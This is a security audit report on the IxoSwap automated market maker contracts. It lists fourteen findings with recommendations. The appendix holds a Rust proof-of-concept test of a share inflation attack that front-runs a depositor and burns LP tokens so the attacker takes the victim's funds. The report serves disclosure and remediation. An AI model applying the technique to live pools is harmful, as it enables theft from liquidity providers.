Audit Report

IxoSwap

v1.1

September 13, 2024

Table of Contents

License

Disclaimer

THE CONTENT OF THIS AUDIT REPORT IS PROVIDED “AS IS”, WITHOUT REPRESENTATIONS AND WARRANTIES OF ANY KIND.

THE AUTHOR AND HIS EMPLOYER DISCLAIM ANY LIABILITY FOR DAMAGE ARISING OUT OF, OR IN CONNECTION WITH, THIS AUDIT REPORT.

THIS AUDIT REPORT WAS PREPARED EXCLUSIVELY FOR AND IN THE INTEREST OF THE CLIENT AND SHALL NOT CONSTRUE ANY LEGAL RELATIONSHIP TOWARDS THIRD PARTIES. IN PARTICULAR, THE AUTHOR AND HIS EMPLOYER UNDERTAKE NO LIABILITY OR RESPONSIBILITY TOWARDS THIRD PARTIES AND PROVIDE NO WARRANTIES REGARDING THE FACTUAL ACCURACY OR COMPLETENESS OF THE AUDIT REPORT.

FOR THE AVOIDANCE OF DOUBT, NOTHING CONTAINED IN THIS AUDIT REPORT SHALL BE CONSTRUED TO IMPOSE ADDITIONAL OBLIGATIONS ON COMPANY, INCLUDING WITHOUT LIMITATION WARRANTIES OR LIABILITIES.

This audit has been performed by

Oak Security

https://oaksecurity.io/
info@oaksecurity.io

Introduction

Purpose of This Report

Oak Security has been engaged by ixo.world AG to perform a security audit of the IxoSwap smart contract.

The objectives of the audit are as follows:

1. Determine the correct functioning of the protocol, in accordance with the project specification.
2. Determine possible vulnerabilities, which could be exploited by an attacker.
3. Determine smart contract bugs, which might lead to unexpected behavior.
4. Analyze whether best practices have been applied during development.
5. Make recommendations to improve code safety and readability.

This report represents a summary of the findings.

As with any code audit, there is a limit to which vulnerabilities can be found, and unexpected execution paths may still be possible. The author of this report does not guarantee complete coverage (see disclaimer).

Codebase Submitted for the Audit

The audit has been performed on the following target:

Repository	https://github.com/ixofoundation/ixo-contracts
Commit	`0af80fb1ff38f95eb4a9e69e3eb37ddaebd3a78a`
Scope	Files in the `ixo-swap` directory
Fixes verified at commit	`20afb55d2001e0ec7e5ed7852b37cdca904aeed5` Note that changes to the codebase beyond fixes after the initial audit have not been in the scope of our fixes review. An additional issue was fixed on commit `45f974ec0a1e13faf5a0935c6e31651ae6631a0a`

Methodology

The audit has been performed in the following steps:

1. Gaining an understanding of the code base's intended purpose by reading the available documentation.
2. Automated source code and dependency analysis.
3. Manual line-by-line analysis of the source code for security vulnerabilities and use of best practice guidelines, including but not limited to:
    a. Race condition analysis
    b. Under-/overflow issues
    c. Key management vulnerabilities
4. Report preparation

Functionality Overview

IxoSwap is an automatic market maker (AMM) that supports trading CW1155 tokens with CW20 or native tokens. Users can specify desired CW1155 token IDs to receive when removing liquidity and swapping assets.

How to Read This Report

This report classifies the issues found into the following severity categories:

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

The status of an issue can be one of the following: **Pending,** **Acknowledged**, or **Resolved**.

Note that audits are an important step to improving the security of smart contracts and can find many issues. However, auditing complex codebases has its limits and a remaining risk is present (see disclaimer).

Users of the system should exercise caution. In order to help with the evaluation of the remaining risk, we provide a measure of the following key indicators: **code complexity**, **code readability**, **level of documentation**, and **test coverage**. We include a table with these criteria below.

Note that high complexity or low test coverage does not necessarily equate to a higher risk, although certain bugs are more easily detected in unit testing than in a security audit and vice versa.

Code Quality Criteria

The auditor team assesses the codebase's code quality criteria as follows:

Criteria	Status	Comment
Code complexity	Medium	The protocol integrates with the CW1155 specification, which is capable of supporting multiple tokens (fungible or non-fungible) within a single contract. This increases the complexity because more validations are required.
Code readability and clarity	Low-Medium	Multiple instances of common naming conventions and repetitive variable names are used, which reduces the code readability. Consider adopting unique variable names to enhance clarity and prevent confusion.
Level of documentation	Low-Medium	Documentation is available at `ixo-swap/README.md`. However, it lacks documentation of AMM calculations, execution flows, fee charges mechanism, and state transitions.
Test coverage	Low-Medium	`cargo tarpaulin` reports coverage of `49.11%` when executed in the `ixo-swap` directory.

Summary of Findings

No	Description	Severity	Status
1	Attackers can trigger a share inflation attack to steal user funds	Critical	Resolved
2	Attackers can swap lower-value tokens for valuable assets	Critical	Resolved
3	Unrestricted user-controlled slippage allows sandwich attack	Minor	Resolved
4	Lack of input validation	Minor	Resolved
5	Unimplemented `Balance` query message	Informational	Resolved
6	The `PassThroughSwap` message does not support swapping input assets as CW20 and native tokens	Informational	Acknowledged
7	Contracts should implement a two-step ownership transfer	Informational	Resolved
8	Lack of attributes emitted	Informational	Resolved
9	`execute_freeze_deposits` can be called with the same status	Informational	Resolved
10	`FROZEN` storage state is not exposed through smart queries	Informational	Resolved
11	Unused error message in the codebase	Informational	Resolved
12	Panic usage should be avoided	Informational	Resolved
13	Outstanding TODO comment in the codebase	Informational	Resolved
14	In-house implementation of well-known features is discouraged	Informational	Resolved

Detailed Findings

1. Attackers can trigger a share inflation attack to steal user funds

Severity: Critical

In `ixo-swap/src/contract.rs:265`, the `get_lp_token_amount_to_mint` function mints the LP token amount based on the sent amount if the total supply is zero. This is problematic because attackers can execute a share inflation attack to steal funds provided by the user, resulting in a loss of funds scenario.

An attack scenario is illustrated below:

1. The contract is newly instantiated.
2. A user broadcasts a transaction to provide 500 tokens of liquidity, which should return 500 LP tokens according to the mint formula.
3. An attacker notices it and front-runs the user's transaction to:
    a. Provide 502 tokens worth of liquidity, minting 502 LP tokens and increasing the total supply.
    b. Call the `Burn` message in the LP token contract to burn 501 tokens, decreasing the total supply.
4. The LP token's total supply becomes one, and the pool reserves remain at 502.
5. The user's transaction is executed. However, the user receives zero LP tokens due to the manipulated total supply. (500 * 1 / 502 = 0.996 = 0)
6. The attacker redeems their LP tokens for the underlying liquidity, which includes the user's funds.

Consequently, the funds provided by the user are stolen by the attacker. Since the LP token's total supply reverts back to zero after exploitation, the attacker can repeatedly execute this attack to steal funds from subsequent users who provide liquidity to the pool.

Please refer to the `test_share_inflation_attack` test case in the appendix to reproduce this issue.

Recommendation

We recommend burning a small number of dead shares to the pool contract when providing initial liquidity.

Status: Resolved

2. Attackers can swap lower-value tokens for valuable assets

Severity: Critical

In `ixo-swap/src/contract.rs:984` and `1124`, the `execute_swap` and `execute_pass_through_swap` functions do not validate that the sent CW1155 tokens are the expected `TOKEN1155` requested by the contract. This means that all tokens managed by the CW1155 contract can be traded freely, which is problematic because only the configured token should be allowed, as seen in line `414`.

Consequently, attackers can provide lower-value tokens managed by the CW1155 contract in exchange for valuable assets in the pool, thereby profiting from the price difference and causing a loss of funds for liquidity providers.

Recommendation

We recommend calling the `validate_token1155_denom` function in `execute_swap` and `execute_pass_through_swap`.

Status: Resolved

3. Unrestricted user-controlled slippage allows sandwich attack

Severity: Minor

In `ixo-swap/src/contract.rs:326`, `626`, and `1020`, the `execute_add_liquidity`, `execute_remove_liquidity`, and `execute_swap` functions implement slippage protection by validating the output amount aligns with the user-provided value.

However, these parameters are not validated to be within an acceptable range. For example, if the user specifies `min_token` as zero in line `991`, an attacker can perform a sandwich attack to force the user to receive fewer tokens due to slippage.

We classify this issue as minor because it can only be caused by a misconfiguration from the user's input.

Recommendation

We recommend enforcing that the slippage is within an acceptable range.

Status: Resolved

4. Lack of input validation

Severity: Minor

When instantiating the contract in `ixo-swap/src/contract.rs:38`, several validations are not performed:

- `msg.token1155_denom` and `msg.token2_denom` should be validated as unequal denoms to prevent creating a pool with the same assets.

- If the denom is CW20 or CW1155, the contract addresses should be validated with `addr_validate`.
- If the denom is native, the denom should be validated by performing a `DenomMetadata` query.
- `TOKEN1155` should only be instantiated as CW1155 denom to transact funds correctly (see line `342`).
- `TOKEN2` should only be instantiated as CW20 or native token denoms to transact funds correctly (see line `506`).

Consequently, a misconfiguration would cause the pool to fail to work as intended, requiring a new contract deployment.

We classify this issue as minor because it can only be caused by the contract instantiator, which is a privileged role.

Recommendation

We recommend applying the recommendations mentioned above.

Status: Resolved

5. Unimplemented `Balance` query message

Severity: Informational

In `ixo-swap/src/contract.rs:1283`, the `query_balance` function attempts to access the `BALANCES` state to load the balance for an address in `ixo-plus/contracts/cw20-base/src/contract.rs:555`. This is problematic because the storage state is not implemented in the contract, causing the query to always return a zero response.

Recommendation

We recommend removing the query message.

Status: Resolved

6. The `PassThroughSwap` message does not support swapping input assets as CW20 and native tokens

Severity: Informational

In `ixo-swap/src/contract.rs:1129`, the `execute_pass_through_swap` function does not support swapping with `input_token_enum` as `TokenSelect::Token2`, as the transaction would fail. This limits the functionality because only CW1155 tokens can be used as intermediary tokens, not CW20/native tokens.

For example, users can multi-swap CW1155 → CW20/native → CW1155 tokens, but could not multi-swap CW20/native → CW1155 → CW20/native tokens.

Recommendation

We recommend modifying the implementation to support swapping CW1155 tokens as the `transfer_token` asset. However, this requires a custom message to be implemented in `ixo-plus/contracts/cw1155-base` that enables one-time approvals for specified token IDs and amounts with expiration deadlines.

This must be different from the `ApproveAll` message that approves all the caller's tokens without restrictions, as implementing it would allow a malicious `output_amm_address` to steal CW1155 tokens owned by the pool.

Additionally, relevant modifications should be made in `ixo-swap/src/contract.rs`, such as:

- Modify line `1218` to set `input_amount` to `TokenAmount::Multiple` if `transfer_token` is a CW1155 token.
- Update the `TOKEN_SUPPLIES` state accordingly, based on the token amounts to transfer.

Lastly, we recommend adding extensive test cases to ensure the functionality works correctly with edge case scenarios being considered.

Status: Acknowledged

7. Contracts should implement a two-step ownership transfer

Severity: Informational

The contracts within the scope of this audit allow the current owner to execute a one-step ownership transfer. While this is common practice, it presents a risk for the ownership of the contract to become lost if the owner transfers ownership to the incorrect address.

Recommendation

We recommend implementing a two-step ownership transfer. A two-step ownership transfer will allow the current owner to propose a new owner, and then the account that is proposed as the new owner may call a function that will allow them to claim ownership and execute the config update.

Status: Resolved

8. Lack of attributes emitted

Severity: Informational

In several instances of the codebase, the emitted attributes do not include information about the entry points and values in `ixo-swap/src/contract.rs`:

- The `execute_add_liquidity`, `execute_remove_liquidity`, `execute_swap`, `execute_pass_through_swap`, and `execute_update_config` functions does not emit the `action` attribute to be the called function. Consider adding the attribute in the response field, similar to line `241`.
- The `execute_freeze_deposits` function should include the `freeze` value in line `241`.
- The `execute_swap` function should include the `recipient` address in line `1117`.
- The `reply` entry point should include the LP token address in line `1400`.

It is best practice to emit events and attributes to improve the usability of the contracts and to support off-chain event listeners and blockchain indexers.

Recommendation

We recommend applying the recommendations mentioned above.

Status: Resolved

9. `execute_freeze_deposits` can be called with the same status

Severity: Informational

In `ixo-swap/src/contract.rs:227`, the `execute_freeze_deposits` function does not validate that the `freeze` status is not equal to the `FROZEN` state status. For example, if the `FROZEN` state is `true`, calling the function with `freeze` value as `true` will not trigger any actual changes to the contract as the results are the same.

Consequently, this may mislead off-chain listeners and indexers since no actual changes are made to the contract.

Recommendation

We recommend returning an error if the `freeze` value equals the current `FROZEN` value.

Status: Resolved

10. `FROZEN` storage state is not exposed through smart queries

Severity: Informational

In `ixo-swap/src/contract.rs:1281`, the `query` entry point does not expose the `FROZEN` storage state value through smart queries. This forces third-party contracts to perform a raw query to read the stored value, which is error-prone and decreases user experience.

Recommendation

We recommend exposing a smart query that returns the `FROZEN` storage state value.

Status: Resolved

11. Unused error message in the codebase

Severity: Informational

In `ixo-swap/src/error.rs:13`, the `NoneError` is defined but not implemented across the codebase. Unused code reduces the code readability and maintainability in the codebase.

Recommendation

We recommend implementing the `NoneError` error or removing it if it is unused.

Status: Resolved

12. Panic usage should be avoided

Severity: Informational

In `ixo-swap/src/token_amount.rs:20` and `29`, the `get_multiple` and `get_single` functions panic with a plain error message if the provided `TokenAmount` is incorrect. This decreases user experience as users will not be able to interpret the actual error that occurred.

Recommendation

We recommend implementing proper error handling by returning an `Err(E)` and updating the error to be a more appropriate message.

Status: Resolved

13. Outstanding TODO comment in the codebase

Severity: Informational

In `ixo-swap/src/contract.rs:1323`, the `query_info` function contains a TODO comment to retrieve the total supply. However, the query for the LP token's total supply has already been implemented in line `1329`.

Recommendation

We recommend removing the TODO comment.

Status: Resolved

14. In-house implementation of well-known features is discouraged

Severity: Informational

In `ixo-swap/src/contract.rs:493-505`, the `validate_input_amount` function validates the user sent the actual funds as specified based on the `given_amount` and `given_denom` parameters.

Although no vulnerability was found affecting the function, it is still best practice to use well-known libraries that are continuously reviewed by the community.

Recommendation

We recommend replacing it with the `must_pay` function from the `cw0` library.

Status: Resolved

Appendix

1. **Test case for "Attackers can trigger a share inflation attack to steal user funds"**

Please run the test case in `ixo-swap/src/integration_test.rs`.

```
#[test]
fn test_share_inflation_attack() {

	use cw20::TokenInfoResponse;

	let mut router = mock_app();

	const NATIVE_TOKEN_DENOM: &str = "juno";

	let owner = Addr::unchecked("owner");
	let victim = Addr::unchecked("victim");
	let attacker = Addr::unchecked("attacker");

	let funds = coins(100, NATIVE_TOKEN_DENOM);
	router.borrow_mut().init_modules(|router, _, storage| {
	// router.bank.init_balance(storage, &owner, funds.clone()).unwrap();
	router.bank.init_balance(storage, &victim, funds.clone()).unwrap();
	router.stargate.register_query(
		"/ixo.token.v1beta1.Query/TokenMetadata",
		Box::new(TokenMetadataQueryHandler),
	)
	});

	let cw1155_token = create_cw1155(&mut router, &owner);

	let supported_denom = "CARBON".to_string();
	let token_ids = vec![
	format!("{}/1", supported_denom),
	format!("{}/2", supported_denom),
	];
	let lp_fee_percent = Decimal::from_str("0.3").unwrap();
	let protocol_fee_percent = Decimal::zero();
	let amm_addr = create_amm(
	&mut router,
	&owner,
	Denom::Cw1155(cw1155_token.clone(), supported_denom),
	Denom::Native(NATIVE_TOKEN_DENOM.into()),
	lp_fee_percent,
	protocol_fee_percent,
	owner.to_string(),
	);
```

```
        // set up cw20 helpers
        let info = get_info(&router, &amm_addr);
        let lp_token = Cw20Contract(Addr::unchecked(info.lp_token_address));

        // setup cw1155 tokens
        let victim_deposit_amount = Uint128::new(500);
        let attacker_deposit_amount = victim_deposit_amount + Uint128::new(2);

        let mint_msg = Cw1155ExecuteMsg::Mint {
        to: victim.to_string(),
        token_id: token_ids[0].clone(),
        value: victim_deposit_amount,
        uri: "".to_string(),
        msg: None
        };
        router
        .execute_contract(owner.clone(), cw1155_token.clone(), &mint_msg, &[])
        .unwrap();

        let mint_msg = Cw1155ExecuteMsg::Mint {
        to: attacker.to_string(),
        token_id: token_ids[1].clone(),
        value: attacker_deposit_amount,
        uri: "".to_string(),
        msg: None
        };
        router
        .execute_contract(owner.clone(), cw1155_token.clone(), &mint_msg, &[])
        .unwrap();

        // grant allowance
        let allowance_msg = Cw1155ExecuteMsg::ApproveAll {
        operator: amm_addr.clone().into(),
        expires: None,
        };
        router
        .execute_contract(victim.clone(), cw1155_token.clone(), &allowance_msg,
&[])
        .unwrap();

        router
        .execute_contract(attacker.clone(), cw1155_token.clone(), &allowance_msg,
&[])
        .unwrap();

        // 1: victim wants to deposit 500 tokens
        let victim_add_liquidity_msg = ExecuteMsg::AddLiquidity {
        token1155_amounts: HashMap::from([
                (token_ids[0].clone(), victim_deposit_amount),
```

```
        ]),
        min_liquidity: Uint128::zero(),
        max_token2: funds[0].amount,
        expiration: None,
        };

        // 2.0: attacker notices victim tx and wants to steal victim funds
        // 2.1: attacker frontruns the tx to deposit a larger amount of funds
(502 tokens)
        let attacker_add_liquidity_msg = ExecuteMsg::AddLiquidity {
        token1155_amounts: HashMap::from([
                (token_ids[1].clone(), attacker_deposit_amount),
        ]),
        min_liquidity: Uint128::zero(),
        max_token2: Uint128::zero(),
        expiration: None,
        };

        router
        .execute_contract(
                attacker.clone(),
                amm_addr.clone(),
                &attacker_add_liquidity_msg,
                &[],
        )
        .unwrap();

        // 2.2: attacker also burns their lp tokens (501 tokens) and leave 1
behind
        let attacker_lp_bal = lp_token.balance(&router.wrap(),
attacker.clone()).unwrap();
        let lp_to_burn = attacker_lp_bal - Uint128::one();
        router
        .execute_contract(
                attacker.clone(),
                lp_token.0.clone(),
                &Cw20ExecuteMsg::Burn { amount: lp_to_burn },
                &[],
        )
        .unwrap();

        let attacker_lp_bal = lp_token.balance(&router.wrap(),
attacker.clone()).unwrap();
        assert_eq!(attacker_lp_bal, Uint128::one());

        let lp_info : TokenInfoResponse = lp_token.meta(&router.wrap()).unwrap();
        assert_eq!(lp_info.total_supply, Uint128::one());

        // 3: victim tx went through, but they receive 0 lp tokens due to
rounding
```

```
        router
        .execute_contract(
                victim.clone(),
                amm_addr.clone(),
                &victim_add_liquidity_msg,
                &funds,
        )
        .unwrap();

        let victim_lp_bal = lp_token.balance(&router.wrap(),
victim.clone()).unwrap();
        assert_eq!(victim_lp_bal, Uint128::zero());

        // 4: attacker withdraws the share, which includes user funds
        let attacker_lp_bal = lp_token.balance(&router.wrap(),
attacker.clone()).unwrap();

        let allowance_msg = Cw20ExecuteMsg::IncreaseAllowance {
        spender: amm_addr.to_string(),
        amount: attacker_lp_bal,
        expires: None,
        };

        router
        .execute_contract(attacker.clone(), lp_token.addr(), &allowance_msg, &[])
        .unwrap();

        let remove_liquidity_msg = ExecuteMsg::RemoveLiquidity {
        amount: attacker_lp_bal,
        min_token1155: TokenAmount::Single(Uint128::zero()),
        min_token2: Uint128::zero(),
        expiration: None,
        };
        router
        .execute_contract(attacker.clone(), amm_addr.clone(),
&remove_liquidity_msg, &[])
        .unwrap();

        // 5: attacker owns victim funds, and can repeat the attack for the next
victim to steal their funds
        let attacker_balance =
        batch_balance_for_owner(&router, &cw1155_token, &attacker, &token_ids);

        assert_eq!(attacker_balance.balances.len(), 2);
        assert_eq!(
        attacker_balance.balances[0], victim_deposit_amount
        );
        assert_eq!(
        attacker_balance.balances[1], attacker_deposit_amount
        );
```

```
}
```